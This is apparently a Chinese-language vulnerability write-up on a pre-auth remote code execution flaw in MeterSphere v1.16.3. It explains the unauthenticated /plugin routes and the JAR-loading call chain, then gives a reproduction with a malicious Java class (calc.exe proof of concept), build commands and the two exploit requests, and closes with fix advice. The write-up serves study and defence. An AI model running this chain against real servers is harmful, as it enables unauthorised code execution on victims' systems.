MeterSphere PluginController Pre-auth RCE
字数 1083 2025-08-29 08:30:36
MeterSphere PluginController 预认证远程代码执行漏洞分析
漏洞概述
MeterSphere v1.16.3 及之前版本存在一个预认证远程代码执行漏洞,攻击者可以在未授权的情况下通过上传恶意JAR文件并调用特定方法实现任意代码执行。
环境搭建
-
下载 MeterSphere v1.16.3 安装包:
wget https://github.com/metersphere/metersphere/releases/download/v1.16.3/metersphere-online-installer-v1.16.3.tar.gz -
解压并进入安装目录:
tar zxvf metersphere-online-installer-v1.16.3.tar.gz cd metersphere-online-installer-v1.16.3/ -
设置版本变量并修改安装配置:
MSVERSION="v1.16.3" echo $MSVERSION sed -i -e "s#MS_IMAGE_TAG=.*#MS_IMAGE_TAG=${MSVERSION}#g" install.conf sed -i -e "s#MS_IMAGE_PREFIX=.*#MS_IMAGE_PREFIX=registry.cn-qingdao.aliyuncs.com\/metersphere#g" install.conf -
执行安装:
/bin/bash install.sh
安装完成后,MeterSphere 将运行在 http://172.16.16.129:8081/,可通过 docker中 msctl status 查看服务状态。
漏洞分析
漏洞根源
通过对比 v1.16.3 和 v1.16.4 版本的代码差异:
https://github.com/metersphere/metersphere/compare/v1.16.3...v1.16.4
发现 v1.16.4 删除了 /plugin/** 路由的 anon 权限,这意味着在 v1.16.3 及之前版本中,访问 /plugin/ 路径不需要授权。
关键代码分析
漏洞位于 io.metersphere.controller.PluginController 类中,主要涉及两个方法:
-
add 方法:
- 处理文件上传
- 调用链:
PluginController.add() → PluginService.editPlugin() → FileUtils.create() - 上传的文件被保存到
/opt/metersphere/data/body/plugin/目录下,文件名格式为 UUID + 原始文件名,如:/opt/metersphere/data/body/plugin/490fb08a-eae3-4414-a991-09f16f5b8f5e_test.jar - 然后调用
PluginService.getMethod()→loadJar(),通过URLClassLoader加载上传的 JAR 文件
-
customMethod 方法:
- 调用链:
PluginController.customMethod() → PluginService.customMethod() → Class.forName() Class.forName()的参数可控,可以加载并执行上传的 JAR 文件中定义的类方法
- 调用链:
攻击流程
- 编写恶意 Java 类,包含
customMethod方法 - 将恶意类打包为 JAR 文件
- 通过
/plugin/add路由上传恶意 JAR 文件 - 通过
/plugin/customMethod路由调用 JAR 文件中的恶意方法
漏洞复现
-
创建恶意 Java 类:
public class Evil { public static Object customMethod() { try { // 恶意代码,例如执行系统命令 Runtime.getRuntime().exec("calc.exe"); return "Exploit Success"; } catch (Exception e) { e.printStackTrace(); return "Exploit Failed"; } } } -
编译并打包为 JAR 文件:
javac Evil.java jar cvf evil.jar Evil.class -
上传恶意 JAR 文件:
POST /plugin/add (文件上传请求,包含 evil.jar) -
调用恶意方法:
POST /plugin/customMethod { "entry": "Evil", "request": {} }
修复方案
- 升级到 MeterSphere v1.16.4 或更高版本
- 临时解决方案:在应用层对
/plugin/**路径添加认证检查
总结
该漏洞利用链清晰,通过未授权上传+动态加载+反射调用三个环节实现了预认证的远程代码执行。开发人员在设计插件系统时应特别注意:
- 文件上传的安全校验
- 动态加载类的安全控制
- 反射调用的参数过滤
- 敏感接口的权限控制